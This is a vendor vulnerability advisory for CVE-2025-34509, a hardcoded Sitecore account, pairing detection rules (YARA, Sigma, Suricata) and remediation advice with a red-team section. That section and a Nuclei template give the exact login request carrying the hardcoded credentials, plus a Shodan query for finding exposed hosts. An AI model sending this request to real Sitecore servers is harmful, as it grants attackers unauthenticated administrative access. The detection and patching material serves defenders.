CVE-2025-34509
Executive Summary
CVE-2025-34509 is a critical vulnerability in Sitecore Experience Manager (XM) and Experience Platform (XP) that exposes a hardcoded user account. This account, ServicesAPI with password b, allows unauthenticated, remote attackers to access administrative API endpoints over HTTP. The vulnerability affects multiple versions of Sitecore, including 10.1 to 10.1.4 rev. 011974 PRE, all versions of 10.2, 10.3 to 10.3.3 rev. 011967 PRE, and 10.4 to 10.4.1 rev. 011941 PRE. The CVSS score is 8.2 (High), and a public proof-of-concept (PoC) exists via a Nuclei template. Immediate patching and credential rotation are required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Base Score: 8.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
- Threat Level: Critical due to the ease of exploitation and potential for full administrative access.
Deep Dive & Mechanics
The vulnerability stems from a hardcoded user account embedded within the Sitecore application. The account credentials are:
- Username:
ServicesAPI - Password:
b
This account is intended for internal service-to-service communication but is exposed to the public-facing administrative API endpoint /sitecore/api/ssc/auth/login. An attacker can send a POST request to this endpoint with the hardcoded credentials in JSON format. Upon successful authentication, the server returns a Set-Cookie header containing an .AspNet.Cookies session token, granting the attacker administrative access to the Sitecore platform.
The attack does not require any prior authentication or user interaction. The vulnerability is classified under CWE-798 (Use of Hard-coded Credentials). The impact includes unauthorized access to administrative APIs, potential data exfiltration, and further exploitation of the Sitecore instance.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely contains a static credential check in the authentication logic, such as:
if (username == "ServicesAPI" && password == "b")
{
// Grant administrative access
}
Patched Code (Conceptual): The patched code removes the hardcoded account or enforces proper credential management:
// Remove hardcoded credentials
// Use a secure credential store or identity provider
if (AuthenticateAgainstSecureStore(username, password))
{
// Grant access
}
The official patch is described in Sitecore KB1003667. It involves applying a security update that removes the hardcoded account and requires all default credentials to be changed.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy a vulnerable Sitecore instance (e.g., version 10.3.3 rev. 011967 PRE) in an isolated lab environment.
- Reconnaissance: Use Shodan with the dork
title:"sitecore"to identify potential targets. - Exploitation: Send the following HTTP request to the target:
POST /sitecore/api/ssc/auth/login HTTP/1.1 Host: target.com Content-Type: application/json {"domain":"sitecore","username":"ServicesAPI","password":"b"} - Verification: If the response includes
Set-Cookiewith.AspNet.Cookies=and status 200, the exploitation is successful. - Post-Exploitation: Use the obtained session cookie to access administrative APIs and perform further actions.
Blue Team (Detection & Response)
- Monitor Logs: Look for POST requests to
/sitecore/api/ssc/auth/loginwith the body containing"ServicesAPI"and"b". - Alert on Anomalies: Set up alerts for successful authentication from unknown IPs to the administrative API.
- Harden Configuration: Immediately apply the patch from Sitecore KB1003667 and change all default credentials.
- Network Segmentation: Restrict access to administrative APIs to trusted IPs only.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/sitecore/api/ssc/auth/loginwith JSON body containing"ServicesAPI"and"b". - HTTP responses with
Set-Cookie: .AspNet.Cookies=from the same endpoint.
- POST requests to
- System IOCs:
- Unauthorized administrative sessions in Sitecore logs.
- Presence of the hardcoded account
ServicesAPIin the user database.
- File IOCs:
- Configuration files containing the hardcoded credentials (e.g.,
web.configor custom authentication modules).
- Configuration files containing the hardcoded credentials (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_34509_Sitecore_Hardcoded_Creds {
meta:
description = "Detects hardcoded credentials for Sitecore ServicesAPI account"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34509"
strings:
$cred1 = "ServicesAPI" ascii wide nocase
$cred2 = "b" ascii wide nocase
$auth_endpoint = "/sitecore/api/ssc/auth/login" ascii wide nocase
condition:
all of ($cred*) and $auth_endpoint
}
Sigma Rule
title: Sitecore Hardcoded Credentials Exploitation
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-34509 using hardcoded credentials
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/sitecore/api/ssc/auth/login'
cs-content-type: 'application/json'
cs-body|contains:
- 'ServicesAPI'
- '"b"'
condition: selection
falsepositives:
- Legitimate administrative actions if credentials are changed
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-34509 Sitecore Hardcoded Credentials Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/sitecore/api/ssc/auth/login"; http_uri; content:"ServicesAPI"; http_client_body; content:"\"b\""; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2025-34509
info:
name: Sitecore Experience Manager (XM) and Experience Platform (XP) - Hardcoded Credentials
author: daffainfo
severity: high
description: |
Sitecore Experience Manager (XM) and Experience Platform (XP) versions 10.1 to 10.1.4 rev. 011974 PRE, all versions of 10.2, 10.3 to 10.3.3 rev. 011967 PRE, and 10.4 to 10.4.1 rev. 011941 PRE contain a hardcoded user account. Unauthenticated and remote attackers can use this account to access administrative API over HTTP.
impact: |
Unauthenticated attackers can use hardcoded credentials to access administrative API endpoints over HTTP, potentially compromising the entire Sitecore platform.
remediation: |
Apply the security patch as described in Sitecore KB1003667 and change all default credentials immediately.
reference:
- https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667
- https://nvd.nist.gov/vuln/detail/CVE-2025-34509
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2025-34509
epss-score: 0.18119
epss-percentile: 0.952
cwe-id: CWE-798
cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*,cpe:2.3:a:sitecore:experience_platform:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: sitecore
product: experience_commerce,experience_platform
shodan-query: title:"sitecore"
tags: cve,cve2025,sitecore,experience_commerce,experience_platform,vkev
http:
- raw:
- |
POST /sitecore/api/ssc/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"domain":"sitecore","username":"{{username}}","password":"{{password}}"}
attack: pitchfork
payloads:
username:
- ServicesAPI
password:
- b
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'Set-Cookie'
- '.AspNet.Cookies='
condition: and
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
- Apply the security patch from Sitecore KB1003667.
- Change all default credentials, especially the
ServicesAPIaccount. - Rotate any existing session tokens and API keys.
Long-term Measures:
- Implement multi-factor authentication (MFA) for administrative access.
- Restrict access to administrative APIs using network segmentation and firewall rules.
- Conduct regular security audits and penetration testing.
- Monitor logs for any unauthorized access attempts.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Use the Nuclei template for continuous scanning.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: CD1806DDDBFD947E1BA78E0F] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.